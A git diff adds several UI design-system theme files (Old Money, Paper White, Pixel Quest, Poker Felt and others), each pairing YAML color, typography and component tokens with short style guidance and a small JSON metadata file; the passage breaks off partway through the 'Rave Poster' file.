0000000000000000000000000000000000000000..dfd106237b5105a22a1de620758ed76b55c0f57c --- /dev/null +++ b/imported-skills/designdotmd/designs/ocean-depth.meta.json @@ -0,0 +1,4 @@ +{ + "id": "ocean-depth", + "name": "Ocean Depth" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/old-money.md b/imported-skills/designdotmd/designs/old-money.md new file mode 100644 index 0000000000000000000000000000000000000000..d46f21be0e2e003eb502463e7491571e27355594 --- /dev/null +++ b/imported-skills/designdotmd/designs/old-money.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Old Money +description: Hunter green, gold leaf, embossed cream. +colors: + primary: "#1F3A2C" + secondary: "#7B8271" + tertiary: "#B89155" + neutral: "#F0EADB" + surface: "#F8F1DF" + on-primary: "#F8F1DF" +typography: + display: + fontFamily: Cormorant + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: EB Garamond + fontSize: 1.1rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.7rem + letterSpacing: "0.18em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Quiet-luxury palette. Hunter green primary, gold accent, cream surface. Restrained but unmistakably premium. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F3A2C`):** Headlines and core text. +- **Secondary (`#7B8271`):** Borders, captions, and metadata. +- **Tertiary (`#B89155`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EADB`):** The page foundation. + +## Typography + +- **display:** Cormorant 5rem +- **h1:** Cormorant 2.75rem +- **body:** EB Garamond 1.1rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/old-money.meta.json b/imported-skills/designdotmd/designs/old-money.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..065efacd9841075f3245c3cabfd481f1487836fe --- /dev/null +++ b/imported-skills/designdotmd/designs/old-money.meta.json @@ -0,0 +1,4 @@ +{ + "id": "old-money", + "name": "Old Money" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/oss-terminal.md b/imported-skills/designdotmd/designs/oss-terminal.md new file mode 100644 index 0000000000000000000000000000000000000000..76f6b2de564fda11459d1aa22ac5f65bdd6841b1 --- /dev/null +++ b/imported-skills/designdotmd/designs/oss-terminal.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: OSS Terminal +description: README-first OSS: bone paper, diff green, PR purple. +colors: + primary: "#161614" + secondary: "#6A6860" + tertiary: "#8957E5" + neutral: "#F6F1E7" + surface: "#FBF6EA" + on-primary: "#FBF6EA" +typography: + display: + fontFamily: JetBrains Mono + fontSize: 3.25rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: JetBrains Mono + fontSize: 1.7rem + fontWeight: 600 + body: + fontFamily: IBM Plex Sans + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 4px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An open-source docs palette: bone-paper surface, diff-green additions, PR-purple accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#161614`):** Headlines and core text. +- **Secondary (`#6A6860`):** Borders, captions, and metadata. +- **Tertiary (`#8957E5`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F6F1E7`):** The page foundation. + +## Typography + +- **display:** JetBrains Mono 3.25rem +- **h1:** JetBrains Mono 1.7rem +- **body:** IBM Plex Sans 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/oss-terminal.meta.json b/imported-skills/designdotmd/designs/oss-terminal.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..85afd5861f39e9ff14a6ea327db4cb924bbd5f8b --- /dev/null +++ b/imported-skills/designdotmd/designs/oss-terminal.meta.json @@ -0,0 +1,4 @@ +{ + "id": "oss-terminal", + "name": "OSS Terminal" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/paper-white.md b/imported-skills/designdotmd/designs/paper-white.md new file mode 100644 index 0000000000000000000000000000000000000000..1f4d277a8796a165c2e97e2c705ba634386a8938 --- /dev/null +++ b/imported-skills/designdotmd/designs/paper-white.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Paper White +description: The e-reader palette: ink, cream, nothing else. +colors: + primary: "#1B1A17" + secondary: "#5C5A54" + tertiary: "#9C3B1B" + neutral: "#F5EFE1" + surface: "#FAF5E8" + on-primary: "#FAF5E8" +typography: + display: + fontFamily: Source Serif 4 + fontSize: 4.5rem + fontWeight: 500 + letterSpacing: "-0.01em" + h1: + fontFamily: Source Serif 4 + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Source Serif 4 + fontSize: 1.1rem + lineHeight: 1.75 + label: + fontFamily: Source Sans 3 + fontSize: 0.75rem + letterSpacing: "0.1em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Purpose-built for long-form reading. A paper-cream background, warm black ink, a rust signal. No chrome, no noise. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B1A17`):** Headlines and core text. +- **Secondary (`#5C5A54`):** Borders, captions, and metadata. +- **Tertiary (`#9C3B1B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5EFE1`):** The page foundation. + +## Typography + +- **display:** Source Serif 4 4.5rem +- **h1:** Source Serif 4 2.5rem +- **body:** Source Serif 4 1.1rem +- **label:** Source Sans 3 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/paper-white.meta.json b/imported-skills/designdotmd/designs/paper-white.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..639a856607d9f6a029eb92871703aaa5ed9578e8 --- /dev/null +++ b/imported-skills/designdotmd/designs/paper-white.meta.json @@ -0,0 +1,4 @@ +{ + "id": "paper-white", + "name": "Paper White" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/pastel-candy.md b/imported-skills/designdotmd/designs/pastel-candy.md new file mode 100644 index 0000000000000000000000000000000000000000..1cfc6273e2e20fc270bbacf62f4887a097b9e740 --- /dev/null +++ b/imported-skills/designdotmd/designs/pastel-candy.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Pastel Candy +description: Marshmallow pink, mint, butter. +colors: + primary: "#3A2747" + secondary: "#9E82B5" + tertiary: "#FF8AB8" + neutral: "#FFF3F7" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fraunces + fontSize: 4rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.25rem + fontWeight: 600 + body: + fontFamily: Nunito + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Nunito + fontSize: 0.75rem + letterSpacing: "0.04em" +rounded: + sm: 12px + md: 20px + lg: 32px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A candy-counter palette with soft pinks, mint, and butter-yellow. Rounded everything; nothing sharp. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#3A2747`):** Headlines and core text. +- **Secondary (`#9E82B5`):** Borders, captions, and metadata. +- **Tertiary (`#FF8AB8`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFF3F7`):** The page foundation. + +## Typography + +- **display:** Fraunces 4rem +- **h1:** Fraunces 2.25rem +- **body:** Nunito 1rem +- **label:** Nunito 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/pastel-candy.meta.json b/imported-skills/designdotmd/designs/pastel-candy.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3442a068df03b70bd0c1dfad8b8651422139f6a6 --- /dev/null +++ b/imported-skills/designdotmd/designs/pastel-candy.meta.json @@ -0,0 +1,4 @@ +{ + "id": "pastel-candy", + "name": "Pastel Candy" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/payday-punch.md b/imported-skills/designdotmd/designs/payday-punch.md new file mode 100644 index 0000000000000000000000000000000000000000..fd81922939201041fe7c24b36b4ba4dddd2ff72d --- /dev/null +++ b/imported-skills/designdotmd/designs/payday-punch.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Payday Punch +description: Gen-Z wallet: lime, bubble, confetti payouts. +colors: + primary: "#0F1F12" + secondary: "#617264" + tertiary: "#C4F442" + neutral: "#EEF6E7" + surface: "#FFFFFF" + on-primary: "#0F1F12" +typography: + display: + fontFamily: DM Sans + fontSize: 4rem + fontWeight: 800 + letterSpacing: "-0.03em" + h1: + fontFamily: DM Sans + fontSize: 2.2rem + fontWeight: 800 + body: + fontFamily: DM Sans + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: DM Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 8px + md: 14px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A Gen-Z finance palette: lime primary, bubbly surfaces, playful animations implied. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F1F12`):** Headlines and core text. +- **Secondary (`#617264`):** Borders, captions, and metadata. +- **Tertiary (`#C4F442`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEF6E7`):** The page foundation. + +## Typography + +- **display:** DM Sans 4rem +- **h1:** DM Sans 2.2rem +- **body:** DM Sans 0.98rem +- **label:** DM Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/payday-punch.meta.json b/imported-skills/designdotmd/designs/payday-punch.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..db0d85270aa32bcb0fe73ff8c1de897027980484 --- /dev/null +++ b/imported-skills/designdotmd/designs/payday-punch.meta.json @@ -0,0 +1,4 @@ +{ + "id": "payday-punch", + "name": "Payday Punch" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/pet-pawprint.md b/imported-skills/designdotmd/designs/pet-pawprint.md new file mode 100644 index 0000000000000000000000000000000000000000..8f0a85affbea131c94119a7ba71e04fface69a90 --- /dev/null +++ b/imported-skills/designdotmd/designs/pet-pawprint.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Pet Pawprint +description: Pet care: biscuit tan, wag blue, squeak yellow. +colors: + primary: "#2A1E14" + secondary: "#8D7A63" + tertiary: "#FFB72B" + neutral: "#F5EBD8" + surface: "#FDF4E1" + on-primary: "#FDF4E1" +typography: + display: + fontFamily: Fraunces + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.025em" + h1: + fontFamily: Fraunces + fontSize: 2.2rem + fontWeight: 600 + body: + fontFamily: DM Sans + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: DM Sans + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.08em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A pet-product palette: biscuit tan surface, wag-blue primary, squeaky-yellow accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2A1E14`):** Headlines and core text. +- **Secondary (`#8D7A63`):** Borders, captions, and metadata. +- **Tertiary (`#FFB72B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5EBD8`):** The page foundation. + +## Typography + +- **display:** Fraunces 4rem +- **h1:** Fraunces 2.2rem +- **body:** DM Sans 1rem +- **label:** DM Sans 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/pet-pawprint.meta.json b/imported-skills/designdotmd/designs/pet-pawprint.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..7ef202c3115ac2059b99a1ef1ad23477c4579102 --- /dev/null +++ b/imported-skills/designdotmd/designs/pet-pawprint.meta.json @@ -0,0 +1,4 @@ +{ + "id": "pet-pawprint", + "name": "Pet Pawprint" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/pharma-clean.md b/imported-skills/designdotmd/designs/pharma-clean.md new file mode 100644 index 0000000000000000000000000000000000000000..83dc46a5136195c305b346fa016cfc6c937e68ad --- /dev/null +++ b/imported-skills/designdotmd/designs/pharma-clean.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Pharma Clean +description: Hospital-white, FDA-blue, sterile hairlines. +colors: + primary: "#0B1E3A" + secondary: "#5E6F88" + tertiary: "#1976D2" + neutral: "#F5F8FC" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Inter + fontSize: 1.9rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A pharmaceutical-product palette: paper white, medical blue, strict hairline rules. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0B1E3A`):** Headlines and core text. +- **Secondary (`#5E6F88`):** Borders, captions, and metadata. +- **Tertiary (`#1976D2`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5F8FC`):** The page foundation. + +## Typography + +- **display:** Inter 3.5rem +- **h1:** Inter 1.9rem +- **body:** Inter 0.95rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/pharma-clean.meta.json b/imported-skills/designdotmd/designs/pharma-clean.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..638f8a9f14a645146131ae6a8bedbd870b31f360 --- /dev/null +++ b/imported-skills/designdotmd/designs/pharma-clean.meta.json @@ -0,0 +1,4 @@ +{ + "id": "pharma-clean", + "name": "Pharma Clean" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/pixel-quest.md b/imported-skills/designdotmd/designs/pixel-quest.md new file mode 100644 index 0000000000000000000000000000000000000000..3ace59f87dad4880cfa1cc348cacf12c8bb672f1 --- /dev/null +++ b/imported-skills/designdotmd/designs/pixel-quest.md @@ -0,0 +1,73 @@ +--- +version: alpha +name: Pixel Quest +description: 8-bit health bars and CRT ink. +colors: + primary: "#1E1E2E" + secondary: "#7A7A99" + tertiary: "#F4C430" + neutral: "#F6EED6" + surface: "#FFFDF5" + on-primary: "#1E1E2E" +typography: + display: + fontFamily: Press Start 2P + fontSize: 2.6rem + fontWeight: 400 + h1: + fontFamily: Press Start 2P + fontSize: 1.3rem + fontWeight: 400 + body: + fontFamily: VT323 + fontSize: 1.25rem + lineHeight: 1.5 + label: + fontFamily: Press Start 2P + fontSize: 0.65rem +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A pixel-perfect retro system for cozy RPGs — flat fills, chunky frames. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1E1E2E`):** Headlines and core text. +- **Secondary (`#7A7A99`):** Borders, captions, and metadata. +- **Tertiary (`#F4C430`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F6EED6`):** The page foundation. + +## Typography + +- **display:** Press Start 2P 2.6rem +- **h1:** Press Start 2P 1.3rem +- **body:** VT323 1.25rem +- **label:** Press Start 2P 0.65rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/pixel-quest.meta.json b/imported-skills/designdotmd/designs/pixel-quest.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1734870e1e9a1c878b44181979028529a2c2c698 --- /dev/null +++ b/imported-skills/designdotmd/designs/pixel-quest.meta.json @@ -0,0 +1,4 @@ +{ + "id": "pixel-quest", + "name": "Pixel Quest" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/podcast-studio.md b/imported-skills/designdotmd/designs/podcast-studio.md new file mode 100644 index 0000000000000000000000000000000000000000..34ba7395062cc7e1ccf6a1f10c7da250260bcaee --- /dev/null +++ b/imported-skills/designdotmd/designs/podcast-studio.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Podcast Studio +description: Late-night show: mic amber, felt maroon, velvet curtain. +colors: + primary: "#F3E6D0" + secondary: "#A89078" + tertiary: "#F2A541" + neutral: "#3A1A1E" + surface: "#4A2328" + on-primary: "#3A1A1E" +typography: + display: + fontFamily: Fraunces + fontSize: 4.5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.3rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.98rem + lineHeight: 1.65 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A podcast/audio-show system with late-night warmth: maroon surface, amber mic accent, serif titles. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F3E6D0`):** Headlines and core text. +- **Secondary (`#A89078`):** Borders, captions, and metadata. +- **Tertiary (`#F2A541`):** The sole driver for interaction. Reserve it. +- **Neutral (`#3A1A1E`):** The page foundation. + +## Typography + +- **display:** Fraunces 4.5rem +- **h1:** Fraunces 2.3rem +- **body:** Inter 0.98rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/podcast-studio.meta.json b/imported-skills/designdotmd/designs/podcast-studio.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..ef321e4844f7e83c902a733e5dee0e4789b8eac1 --- /dev/null +++ b/imported-skills/designdotmd/designs/podcast-studio.meta.json @@ -0,0 +1,4 @@ +{ + "id": "podcast-studio", + "name": "Podcast Studio" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/poker-felt.md b/imported-skills/designdotmd/designs/poker-felt.md new file mode 100644 index 0000000000000000000000000000000000000000..bf38d8391e0fe4a9e27ce3412400efa9e21f4a9e --- /dev/null +++ b/imported-skills/designdotmd/designs/poker-felt.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Poker Felt +description: Poker table: felt green, card ivory, chip red. +colors: + primary: "#EFE6D2" + secondary: "#A3997F" + tertiary: "#C22C2C" + neutral: "#0C2418" + surface: "#143226" + on-primary: "#EFE6D2" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.75rem + fontWeight: 600 + letterSpacing: "0.18em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A casino/poker palette: felt-green table, card-ivory surface, chip-red primary accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#EFE6D2`):** Headlines and core text. +- **Secondary (`#A3997F`):** Borders, captions, and metadata. +- **Tertiary (`#C22C2C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0C2418`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.5rem +- **h1:** Playfair Display 2.4rem +- **body:** Lora 1rem +- **label:** Lora 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/poker-felt.meta.json b/imported-skills/designdotmd/designs/poker-felt.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0b421b430a479b790f8736e1c48c60774f34be71 --- /dev/null +++ b/imported-skills/designdotmd/designs/poker-felt.meta.json @@ -0,0 +1,4 @@ +{ + "id": "poker-felt", + "name": "Poker Felt" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/portfolio-studio.md b/imported-skills/designdotmd/designs/portfolio-studio.md new file mode 100644 index 0000000000000000000000000000000000000000..50846565da636e1d091778bd64c1f5681d90d755 --- /dev/null +++ b/imported-skills/designdotmd/designs/portfolio-studio.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Portfolio Studio +description: Designer portfolio: off-white, ink, one deliberate accent. +colors: + primary: "#131210" + secondary: "#716E68" + tertiary: "#E6552F" + neutral: "#F3F0EA" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fraunces + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.03em" + h1: + fontFamily: Fraunces + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.98rem + lineHeight: 1.65 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.06em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A designer-portfolio system: off-white paper, ink text, one deliberate orange accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#131210`):** Headlines and core text. +- **Secondary (`#716E68`):** Borders, captions, and metadata. +- **Tertiary (`#E6552F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3F0EA`):** The page foundation. + +## Typography + +- **display:** Fraunces 5rem +- **h1:** Fraunces 2.5rem +- **body:** Inter 0.98rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/portfolio-studio.meta.json b/imported-skills/designdotmd/designs/portfolio-studio.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..67a058159c3152e6283629a5988682f6f3583eb1 --- /dev/null +++ b/imported-skills/designdotmd/designs/portfolio-studio.meta.json @@ -0,0 +1,4 @@ +{ + "id": "portfolio-studio", + "name": "Portfolio Studio" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/quantum-lab.md b/imported-skills/designdotmd/designs/quantum-lab.md new file mode 100644 index 0000000000000000000000000000000000000000..d22c1cec222bf63435ed31707efe9c49c061d866 --- /dev/null +++ b/imported-skills/designdotmd/designs/quantum-lab.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Quantum Lab +description: Physics-lab dark: cold plasma blue, superfluid teal. +colors: + primary: "#E6F3FF" + secondary: "#6A8AA8" + tertiary: "#4FD6E0" + neutral: "#050A14" + surface: "#0A1220" + on-primary: "#050A14" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Space Grotesk + fontSize: 1.85rem + fontWeight: 500 + body: + fontFamily: IBM Plex Sans + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.12em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A quantum-computing console aesthetic: cold blues, teal accents, monospace readouts. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E6F3FF`):** Headlines and core text. +- **Secondary (`#6A8AA8`):** Borders, captions, and metadata. +- **Tertiary (`#4FD6E0`):** The sole driver for interaction. Reserve it. +- **Neutral (`#050A14`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.5rem +- **h1:** Space Grotesk 1.85rem +- **body:** IBM Plex Sans 0.92rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/quantum-lab.meta.json b/imported-skills/designdotmd/designs/quantum-lab.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..ec68353bafe0ad0971945a4751ccad25d6ab6178 --- /dev/null +++ b/imported-skills/designdotmd/designs/quantum-lab.meta.json @@ -0,0 +1,4 @@ +{ + "id": "quantum-lab", + "name": "Quantum Lab" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/rave-poster.md b/imported-skills/designdotmd/designs/rave-poster.md new file mode 100644 index 0000000000000000000000000000000000000000..c91a9389ea5fc338e552b929e60f740ab8f90ced --- /dev/null +++ b/imported-skills/designdotmd/designs/rave-poster.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Rave Poster +description: Warehouse flyer: acid yellow, smudge ink, 4am energy. +colors: + primary: "#FAFF00" + secondary: 